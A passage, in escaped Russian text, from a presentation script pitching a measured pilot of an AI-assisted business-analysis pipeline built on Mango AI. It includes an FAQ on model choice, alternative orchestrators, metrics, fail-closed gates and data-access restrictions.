\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0438\\n\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043f\u043e\u0442\u0435\u0440\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438\\n\u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e \u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e 